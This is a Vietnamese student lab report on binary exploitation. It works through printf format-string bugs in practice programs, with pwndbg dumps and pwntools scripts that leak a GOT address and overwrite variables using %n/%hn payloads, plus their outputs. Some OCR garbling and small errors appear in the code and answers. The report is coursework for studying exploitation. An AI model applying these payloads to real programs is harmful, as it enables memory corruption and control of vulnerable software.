

## BÁO CÁO BÀI TẬP

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Tên chủ đề: Nhập môn Pwnable - Binary Exploitation

GVHD: Đỗ Thị Thu Hiền

### 1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT521.N11.ANTT.1

STT	Họ và tên	MSSV	Email
1	Đỗ Xuân Long	20520619	20520619@gm.uit.edu.vn
2	Vi Minh Tiến	20520810	20520810@gm.uit.edu.vn

### 2. NỘI DUNG THỰC HIỆN:<sup>1</sup>

STT	Công việc	Kết quả tự đánh giá
1	Yêu cầu 1	100%
2	Yêu cầu 2	100%
3	Yêu cầu 3	100%
4	Yêu cầu 4	100%
5	Yêu cầu 5	100%
6	Yêu cầu 6	100%
7	Yêu cầu 7	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

---

<sup>1</sup> Ghi nội dung công việc, các kịch bản trong bài Thực hành

## BÁO CÁO CHI TIẾT

**Yêu cầu 1.** Giả sử cần chuẩn bị chuỗi định dạng cho printf. Sinh viên tìm hiểu và hoàn thành các chuỗi định dạng cần sử dụng để thực hiện các yêu cầu bên dưới.

Yêu cầu	Chuỗi định dạng
1. In ra 1 số nguyên hệ thập phân	%d
2. In ra 1 số nguyên 4 byte hệ thập lục phân, trong đó luôn in đủ 8 số hexan	%08lx
3. In ra số nguyên dương, có ký hiệu + phía trước và chiếm ít nhất 5 ký tự, nếu không đủ thì thêm ký tự 0	%+05d
4. In tối đa chuỗi 8 ký tự, nếu dư sẽ cắt bớt	%.8s
5. In ra 1 số thực, trong đó đầu ra sẽ chiếm ít nhất 7 ký tự và luôn hiển thị 3 chữ số thập phân. Nếu số chữ số không đủ, nó sẽ đệm khoảng trắng ở phần nguyên	%7.3e
6. In ra 1 số thực, trong đó đầu ra sẽ chiếm ít nhất 7 ký tự và luôn hiển thị 3 chữ số thập phân. Nếu số chữ số không đủ, nó sẽ đệm ký tự 0 ở phần nguyên	%07.3e

### B.2 Khai thác lỗ hổng format string để đọc dữ liệu

#### B.2.1 Đọc dữ liệu trong ngăn xếp – stack

Thực thi file:

```
longdx@tienvm:/home/onlytien/LTAT/Lab4$ ./app-leak
helloworld
00000001.22222222.ffffffff.helloworld
helloworld
longdx@tienvm:/home/onlytien/LTAT/Lab4$
```

Thực thi file khi nhập chuỗi “%08x.%08x.%08x”:

```
longdx@tienvm:/home/onlytien/LTAT/Lab4$ ./app-leak
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffbbee80.f7f8c990.00000001
longdx@tienvm:/home/onlytien/LTAT/Lab4$ _
```

### Giải thích ý nghĩa của chuỗi định dạng trên?

In ra 1 số nguyên hệ thập lục phân, trong đó luôn in đủ 8 số hexan.

Giải thích dòng printf thứ 2: Chương trình xuất kết quả là giá trị của các ô nhớ ngay sau tham số đầu tiên của printf.

**Yêu cầu 2.** Sinh viên khai thác và truyền chuỗi s để đọc giá trị biến c của main. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết. Bonus: chuỗi s không dài hơn 10 ký tự.

Disassemble main:

Dump of assembler code for function main:

```

0x0804849b <+0>: lea ecx,[esp+0x4]
0x0804849f <+4>: and esp,0xffffffff
0x080484a2 <+7>: push DWORD PTR [ecx-0x4]
0x080484a5 <+10>: push ebp
0x080484a6 <+11>: mov ebp,esp
0x080484a8 <+13>: push ecx
0x080484a9 <+14>: sub esp,0x74
0x080484ac <+17>: mov DWORD PTR [ebp-0xc],0x1
0x080484b3 <+24>: mov DWORD PTR [ebp-0x10],0x22222222
0x080484ba <+31>: mov DWORD PTR [ebp-0x14],0xffffffff
0x080484c1 <+38>: sub esp,0x8
0x080484c4 <+41>: lea eax,[ebp-0x78]
0x080484c7 <+44>: push eax
0x080484c8 <+45>: push 0x80485a0
0x080484cd <+50>: call 0x8048380 <__isoc99_scanf@plt>
0x080484d2 <+55>: add esp,0x10
0x080484d5 <+58>: sub esp,0xc
0x080484d8 <+61>: lea eax,[ebp-0x78]
0x080484db <+64>: push eax
0x080484dc <+65>: push DWORD PTR [ebp-0x14]
0x080484df <+68>: push DWORD PTR [ebp-0x10]
0x080484e2 <+71>: push DWORD PTR [ebp-0xc]
0x080484e5 <+74>: push 0x80485a3
0x080484ea <+79>: call 0x8048350 <printf@plt>
0x080484ef <+84>: add esp,0x20
0x080484f2 <+87>: sub esp,0xc
0x080484f5 <+90>: lea eax,[ebp-0x78]
0x080484f8 <+93>: push eax
0x080484f9 <+94>: call 0x8048350 <printf@plt>
0x080484fe <+99>: add esp,0x10
0x08048501 <+102>: sub esp,0xc
0x08048504 <+105>: push 0xa
0x08048506 <+107>: call 0x8048370 <putchar@plt>
0x0804850b <+112>: add esp,0x10
0x0804850e <+115>: mov eax,0x0
0x08048513 <+120>: mov ecx,DWORD PTR [ebp-0x4]
0x08048516 <+123>: leave
0x08048517 <+124>: lea esp,[ecx-0x4]
0x0804851a <+127>: ret

```

End of assembler dump.

pwndbg> █

```

EIP: 00401000 (main+94) → 0xffff52e8 ← 0x0
[ DISASM / i386 / set emulate on ]
> 0*80484f9 <main+94>    call  printf@plt      <printf@plt>
format: 0xffffcfb0 ← 'helloworld'
vararg: 0xffffcfb0 ← 'helloworld'

File 5
0x80484fe <main+99>    add     esp, 0x10
0x8048501 <main+102>   sub     esp, 0xc
0x8048504 <main+105>   push    0xa
0x8048506 <main+107>   call    putchar@plt    <putchar@plt>

0x804850b <main+112>   add     esp, 0x10
0x804850e <main+115>   mov     eax, 0
0x8048513 <main+120>   mov     ecx, dword ptr [ebp - 4]
0x8048516 <main+123>   leave
0x8048517 <main+124>   lea     esp, [ecx - 4]
0x804851a <main+127>   ret

[ STACK ]
00:0000 esp 0xffffcfa0 → 0xffffcfb0 ← 'helloworld'
01:0004 0xffffcfa4 → 0xffffcfb0 ← 'helloworld'
02:0008 0xffffcfa8 → 0xf7fbf7b0 → 0*804829f ← inc edi /* 'GLIBC_2.0' */
03:000c 0xffffcfac ← 0x1
04:0010 eax 0xffffcfb0 ← 'helloworld'
05:0014 0xffffcfb4 ← 'oworld'
06:0018 0xffffcfb8 ← 0xf700646c /* 'ld' */
07:001c 0xffffcfbc ← 0x0

[ BACKTRACE ]

```

```

pwndbg> x/40wx 0xffffcfa0
0xffffcfa0: 0xffffcfa0 0xffffcfa0 0xffffcfa0 0xffffcfa0
0xffffcfb0: 0x6c6c6568 0x726f776f 0xf70646c 0x00000001
0xffffcfc0: 0x00000000 0xffffffff 0x00000000 0xf7fc7694
0xffffcfd0: 0xf7ffd608 0x0000002c 0x00000000 0x00000000
0xffffcfe0: 0x00000000 0x00000000 0x00000000 0xffffdfdc
0xffffcff0: 0xf7fc5550 0x00000000 0xf7c18482 0xf7e21048
0xffffd000: 0xf7fbf4a0 0xf7fd7a6c 0xf7c18482 0xf7fbf4a0
0xffffd010: 0xffffd050 0xffffffff 0x22222222 0x00000001
0xffffd020: 0x00000001 0xffffd040 0xf7ffd020 0xf7c213b5
0xffffd030: 0xffffd2b1 0x00000070 0xf7ffcff4 0xf7c213b5
pwndbg>

```

[illegible]

```
(kali㉿kali)-[~/Desktop]
$ python -c 'print("%29$x")' | ./app-leak
000000001.22222222.ffffffff.%29$x
ffffffff

(kali㉿kali)-[~/Desktop]
$ python -c 'print("%29$d")' | ./app-leak
000000001.22222222.ffffffff.%29$d
-1
```

So sánh giá trị k và m ở 2 cách này?

2 giá trị này giống nhau.

### B.2.2 Đọc chuỗi trong ngăn xếp

Yêu cầu 3. Giải thích vì sao %s%s%s gây lỗi chương trình?

Lỗi chương trình khi truyền %s%s%s:

```
(kali㉿kali)-[~/Desktop]
$ ./app-leak
%s%s%s
00000001.22222222.ffffffff.%s%s%s
zsh: segmentation fault ./app-leak
```

Stack:

```
00:0000 | esp 0xffffcfa0 → 0xffffcfb0 ← '%s%s%s'
01:0004 | 0xffffcfa4 → 0xffffcfb0 ← '%s%s%s'
02:0008 | 0xffffcfa8 → 0xf7fbf7b0 → 0x804829f ← inc edi /* 'GLIBC_2.0' */
03:000c | 0xffffcfac ← 0x1
04:0010 | eax 0xffffcfb0 ← '%s%s%s'
05:0014 | 0xffffcfb4 ← 0x7325 /* '%s' */
06:0018 | 0xffffcfb8 → 0xf7ffda40 ← 0x0
07:001c | 0xffffcfbc ← 0x0
```

Giải thích: Ta truyền 3 định dạng %s vào stack, có thể thấy địa chỉ tại 0xffffcfa4, 0xffffcfa8, 0xffffcfac sẽ là các địa chỉ để chuỗi in ra. Mà 0xffffcfac không chỉ tới vị trí nào, gây ra lỗi.

### B.2.3 Đọc dữ liệu từ địa chỉ tùy ý

Kết quả GOT:

```
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 4
[0x804a00c] printf@GLIBC_2.0 → 0xf7c561e0 (printf) ← call 0xf7d6908d Process: /app-leak
[0x804a010] __libc_start_main@GLIBC_2.0 → 0xf7c213f0 (__libc_start_main) ← push ebp 0xf7c
[0x804a014] putchar@GLIBC_2.0 → 0x8048376 (putchar@plt+6) ← push 0x10 switching to interacti
[0x804a018] __isoc99_scanf@GLIBC_2.7 → 0xf7c57290 (__isoc99_scanf) ← call 0xf7d6908d loading
pwndbg> 
```





Địa chỉ lưu của s:

```

00:0000 | esp 0xffffcf9c → 0x80484d2 (main+55) ← add esp, 0x10
01:0004 | 0xffffcfa0 → 0x80485a0 ← and eax, 0x30250073 /* '%s' */
02:0008 | 0xffffcfa4 → 0xffffcfb0 ← 0x0
03:000c | 0xffffcfa8 → 0xf7bf7b0 → 0x804829f ← inc edi /* 'GLIBC_2.0' */
04:0010 | 0xffffcfac ← 0x1
05:0014 | eax 0xffffcfb0 ← 0x0
06:0018 | 0xffffcfb4 ← 0x1
07:001c | 0xffffcfb8 → 0xf7ffda40 ← 0x0

```

Địa chỉ của tham số đầu tiên của hàm printf thứ 2:

```

00:0000 | esp 0xffffcfa0 → 0xffffcfb0 ← 'hello'
01:0004 | 0xffffcfa4 → 0xffffcfb0 ← 'hello'
02:0008 | 0xffffcfa8 → 0xf7bf7b0 → 0x804829f ← inc edi /* 'GLIBC_2.0' */
03:000c | 0xffffcfac ← 0x1
04:0010 | eax 0xffffcfb0 ← 'hello'
05:0014 | 0xffffcfb4 ← 0x6f /* 'o' */
06:0018 | 0xffffcfb8 → 0xf7ffda40 ← 0x0
07:001c | 0xffffcfbc ← 0x0

```

Các giá trị được lưu gần địa chỉ 0xffffcfa0:

```

pwndbg> x/20wx 0xffffcfa0
0xffffcfa0: 0xffffcfb0 0xffffcfb0 0xf7bf7b0 0x00000001
0xffffcfb0: 0x6c6c6568 0x0000006f 0xf7ffda40 0x00000000
0xffffcfc0: 0x00000000 0xffffffff 0x00000000 0xf7fc7694
0xffffcfd0: 0xf7ffd608 0x0000002c 0x00000000 0x00000000
0xffffcfe0: 0x00000000 0x00000000 0x00000000 0xffffdfdc

```

Giả sử đặt địa chỉ cần đọc dữ liệu ở đầu chuỗi s (khung màu xanh), xác định địa chỉ này trong chuỗi s sẽ nằm ở tham số thứ mấy của printf?

Địa chỉ cần đọc dữ liệu ở đầu chuỗi s sẽ nằm ở tham số thứ 5.

**Yêu cầu 4.** Sinh viên khai thác và truyền chuỗi s đọc thông tin từ Global Offset Table (GOT) và lấy về địa chỉ của hàm scanf. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.

Đoạn mã khai thác:

```
from pwn import *
```

```
sh = process('./app-leak')
```

```
leakmemory = ELF('./app-leak')
```

```
# address of scanf entry in GOT, where we need to read content
```

```
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']  
print ("- GOT of scanf: %s" % hex(__isoc99_scanf_got))  
# prepare format string to exploit  
# change to your format string  
fm_str = b'%4$s'  
payload = p32(__isoc99_scanf_got) + fm_str  
print ("- Your payload: %s"% payload)  
# send format string  
sh.sendline(payload)  
sh.recvuntil(fm_str+b'\n')  
# remove the first bytes of __isoc99_scanf@got  
print ('- Address of scanf: %s'% hex(u32(sh.recv())[4:8])))  
sh.interactive()
```

Dựa vào format "`<addr>%<k-1>$s`" ta thay  $k = 5$  vào và ra được `%4$s`. Thế vào `fm_str` ở phía trên.

```
(null)

(kali㉿kali)-[~/Desktop]
$ ./app-leak
%4$s
00000001.22222222.ffffffff.%4$s
zsh: segmentation fault ./app-leak

(kali㉿kali)-[~/Desktop]
$ nano yc3_scanf.py

(kali㉿kali)-[~/Desktop]
$ python3 yc3_scanf.py
[+] Starting local process './app-leak':
[*] '/home/kali/Desktop/app-leak'
  Arch:      i386-32-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x8048000)
- GOT of scanf: 0x804a018
- Your payload: b'\x18\xa0\x04\x08%4$s'
[*] Process './app-leak' stopped with exit code 139
- Address of scanf: 0xf7c57290
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
```

Sinh viên giải thích ý nghĩa dòng code 16 để lấy địa chỉ của scanf từ GOT?

Lấy kết quả của sh trả về từ dòng 4-8, sau đó u32, cuối cùng chuyển phần đó thành hex, ta được kết quả trả về.



### B.3 Khai thác lỗ hổng format string để ghi đè bộ nhớ

#### B.3.1 Giới thiệu format %n

#### B.3.2 Ghi đè bộ nhớ ngăn xếp

Yêu cầu 5. Sinh viên khai thác và truyền chuỗi s để ghi đè biến c của file app-overwrite thành giá trị 16. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.

Địa chỉ biến c:

```
(kali㉿kali)-[~/Desktop]
$ ./app-overwrite
0xffaac6fc
```

Địa chỉ của chuỗi s:

```
00:0000 | esp 0xffffcf90 -> 0x80485e4 ← and eax, 0x590a0073 /* '%s' */
01:0004 |      0xffffcf94 -> 0xffffcfa8 -> 0xf7ffda40 ← 0x0
02:0008 |      0xffffcf98 -> 0xf7fbf7b0 -> 0x804829c ← inc edi /* 'GLIBC_2.0' */
03:000c |      0xffffcf9c ← 0x1
04:0010 |      0xffffcfa0 ← 0x0
05:0014 |      0xffffcfa4 ← 0x1
06:0018 | eax 0xffffcfa8 -> 0xf7ffda40 ← 0x0
07:001c |      0xffffcfac ← 0x0
```

Địa chỉ tham số thứ nhất của hàm printf thứ 2:

```
00:0000 | esp 0xffffcf90 -> 0xffffcfa8 ← 'hello'
01:0004 |      0xffffcf94 -> 0xffffcfa8 ← 'hello'
02:0008 |      0xffffcf98 -> 0xf7fbf7b0 -> 0x804829c ← inc edi /* 'GLIBC_2.0' */
03:000c |      0xffffcf9c ← 0x1
04:0010 |      0xffffcfa0 ← 0x0
05:0014 |      0xffffcfa4 ← 0x1
06:0018 | eax 0xffffcfa8 ← 'hello'
07:001c |      0xffffcfac ← 0x6f /* 'o' */
```

Vị trí lưu chuỗi định dạng s sẽ tương ứng với tham số thứ mấy của printf?

Tham số thứ 7.

Dùng chuỗi format nào để in được 12 ký tự?

Dùng chuỗi format %d: **%12d**

Kết quả:

```

~/Desktop/yc4_c.py - Mousepad
File Edit Search View Document Help
1 from pwn import *
2 def forc():
3     sh = process('./app-overwrite')
4     c_addr = int(sh.recvuntil('\n', drop=True), 16)
5     print ('- Address of c: %s' % hex(c_addr))
6     additional_format = b'%12d'
7     overwrite_offset = b'%6$n'
8     payload = p32(c_addr) + additional_format + overwrite_offset
9     print ('- Your payload: %s' % payload)
10    sh.sendline(payload)
11    sh.interactive()
12    forc()
13

(kali@kali)~[/Desktop]
$ python3 yc4_c.py
[+] Starting local process './app-overwrite'
/home/kali/Desktop/yc4_c.py:4: BytesWarning:
See https://docs.pwntools.com/#bytes
  c_addr = int(sh.recvuntil('\n', drop=True))
- Address of c: 0xffff594c
- Your payload: b'LY\xff\xff%12d%6$n'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './app-overwrite' stopped with e

(kali@kali)~[/Desktop]
$ python3 yc4_c.py
[+] Starting local process './app-overwrite'
/home/kali/Desktop/yc4_c.py:4: BytesWarning:
See https://docs.pwntools.com/#bytes
  c_addr = int(sh.recvuntil('\n', drop=True))
- Address of c: 0xffff594c
- Your payload: b'LY\xff\xff%12d%6$n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with e
LY\xff\xff -42776
You modified c.
a = 123, b = 1c8, c = 16
[*] Got EOF while reading in interactive
$

```

### B.3.3 Ghi đè tại địa chỉ tùy ý

Yêu cầu 6. Sinh viên khai thác và truyền chuỗi s để ghi đè biến a của file app-overwrite thành giá trị 2. Giải thích ý nghĩa của chuỗi định dạng và lý do có thể in được giá trị cần thiết.

Địa chỉ biến a:

```

0x0804a01c __data_start
0x0804a01c data_start
0x0804a020 __dso_handle
0x0804a024 a
0x0804a02c __bss_start
0x0804a02c _edata
0xf7fecce0 auxvars
0xf7fed2e0 audit_iflags

```

Tại B.3.2 ta biết được vị trí lưu chuỗi định dạng s sẽ tương ứng với tham số thứ 7 của printf.

Vì biến lần này là số  $2 < 4$ , sẽ không thể dùng format cũ để tấn công, ta sẽ dùng format mới dành cho các biến có giá trị  $< 4$ :

[additional format]%<k+1>\$n[padding][overwrite addr]

Cần ghi đè 2 => thay 2 kí tự vào phần additional format.

$k = 7 \Rightarrow k+1 = 8$ .

Padding: vì ta ghi đè 2 nên sẽ padding 2 kí tự bất kì vào phần này.

Overwrite addr: 0x0804a024

Code:

```
1 from pwn import *
2 def fora():
3     sh = process('./app-overwrite')
4     a_addr = 0x0804a024 # address of a
5     # format string - change to your answer
6     payload = b'aa%8$nxx' + p32(a_addr)
7     sh.sendline(payload)
8     print (sh.recv())
9     sh.interactive()
10 fora()
11
```

Kết quả:

```
(kali@kali)-[~/Desktop]
$ python3 yc5_a.py
[+] Starting local process './app-overwrite': pid 14868
b'0xffa0242c\nnaaxx$\xa0\x04\x08\nYou modified a for a small number.\nna = 2. b = 1c8, c = 789\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 14868)
[*] Got EOF while reading in interactive
$
```

Yêu cầu 7. Sinh viên khai thác và truyền chuỗi s để ghi đè biến b của file app-overwrite thành giá trị 0x12345678. Báo cáo chi tiết các bước phân tích, xác định chuỗi định dạng và kết quả khai thác.

Địa chỉ biến b:

```
0x08049f0c __do_global_ctors_aux
0x0804a028 b
0x0804a02c __bss_start
0xf7fed340 debopts
```

Vì giá trị 0x12345678 quá lớn, chương trình không thể ghi giá trị được.

Ta sẽ chia nhỏ giá trị này thành 2 phần:

0x1234 sẽ nằm ở địa chỉ 0x0804a028 (b) tại vị trí thứ 7 trong stack.

0x5678 sẽ nằm ở địa chỉ 0x0804a028 + 2 = 0x0804a02a tại vị trí 6 trong stack.

Payload: \x28\xa0\x04\x08\x2a\xa0\x04\x08 + %4652x%7\$n + %17476x%6\$n

Kết quả:

```
1 from pwn import *
2 def forc():
3     sh = process('./app-overwrite')
4     # get address of b from the first output
5     b_addr = 0x0804a028
6     b_addr1 = 0x0804a02a
7     # additional format - change to your format to create 12 characters
8     af = b'%4652x'
9     af1 = b'%17476x'
10    # overwrite offset - change to your format
11    oo = b'%7$hn'
12    oo1 = b'%6$hn'
13    payload = p32(b_addr) + p32(b_addr1) + af + oo + af1 + oo1
14    print ('- Your payload: %s' % payload)
15    sh.sendline(payload)
16    sh.interactive()
17 forc()
18
```

f7f487b0

You modified b for a big number!

a = 123, b = 12345678, c = 789

[\*] Got EOF while reading in interactive

\$

Các bước thực hiện/ Phương pháp thực hiện/Nội dung tìm hiểu (Ảnh chụp màn hình, có giải thích)

---

*Sinh viên đọc kỹ yêu cầu trình bày bên dưới trang này*

## YÊU CẦU CHUNG

- Sinh viên tìm hiểu và thực hiện bài tập theo yêu cầu, hướng dẫn.
- Nộp báo cáo kết quả chi tiết những việc (**Report**) bạn đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có).
- Sinh viên nộp bài theo thời gian quy định trên course.

### Báo cáo:

- File **.PDF**. Tập trung vào nội dung, không mô tả lý thuyết.
- Đặt tên theo định dạng: **[Mã lớp]-ExeX\_Y** (trong đó X là Thứ tự Bài tập, Y là mã số thứ tự nhóm trong danh sách đăng ký nhóm đồ án).

Ví dụ: *[NT101.K11.ANTT]-Exe01\_Nhom03*.

- Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với cùng tên file báo cáo.

### Đánh giá:

- Hoàn thành tốt yêu cầu được giao.
- Có nội dung mở rộng, ứng dụng.

*Bài sao chép, trễ, ... sẽ được xử lý tùy mức độ vi phạm.*

**HẾT**